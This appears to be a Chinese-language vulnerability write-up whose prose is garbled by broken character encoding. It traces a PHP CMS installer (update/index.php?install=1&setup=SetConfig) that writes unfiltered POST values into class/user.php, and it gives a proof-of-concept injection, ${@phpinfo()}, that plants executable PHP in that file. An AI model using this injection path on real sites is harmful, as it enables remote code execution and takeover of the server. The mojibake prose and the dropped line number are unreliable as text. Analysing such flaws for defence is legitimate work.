ύʱַύindex.php?install=1&setup=SetConfig 
 
1. if($_GET['install']==1)
 
2. {
 
3. @include("../class/connect.php");
 
4. @include("../class/db_sql.php");
 
5. @include("../class/functions.php");
 
6. $link=db_connect();
 
7. $empire=new mysqlquery();
 
8. if($setup=="SetConfig")
 
9. {
 
10. SetUserCOMConfig($_POST);
 
11. }
 
12. elseif($setup=="alter")
 
13. {
 
14. InstallUserCOM();
 
15. }
 
16. elseif($setup=="update")
 
17. {
 
18. UpdateUserCOM();
 
19. }
 
20. else
 
21. {}
 
ƴ
 
￪ʼһSetUserCOMConfigĺˣǼ
 
data/fun.phpе15
 
ǿԿ 
 
1. function SetUserCOMConfig($add){
 
2. $filetext=ReadFiletext('data/user.php');
 
3. if(empty($filetext))
 
4. {
 
5. InstallShowMsg('ļ /update/data/user.php ʧ,װɹ.');
 
6. }
 
7. $vr=explode(",",ReturnRepUserVar());
 
8. $count=count($vr);
 
9. for($i=0;$i<$count;$i++)
 
10. {
 
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
 
12. }
 
13. //дļ
 
14. $fp=@fopen("../class/user.php","w");
 
15. if(!$fp)
. {
 
17. InstallShowMsg(' /class/user.php ļȨûΪ0777װɹ.');
 
18. }
 
19. @fputs($fp,$filetext);
 
20. @fclose($fp);
 
ƴ
 
.....//ʡ
 
$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
 
ıиȻ󸳸$filetext
 
Ȼ 
 
1. //дļ
 
2. $fp=@fopen("../class/user.php","w");
 
3. if(!$fp)
 
4. {
 
5. InstallShowMsg(' /class/user.php ļȨûΪ0777װɹ.');
 
6. }
 
7. @fputs($fp,$filetext);
 
ƴ
 
һclass/user.phpļȻ$filetextд
 
ǿдĽһ
 
һclass/user.phpļȻ$filetextд

㣬д${@phpinfo()}
 
 
Ȼclass/user.phpļ
 
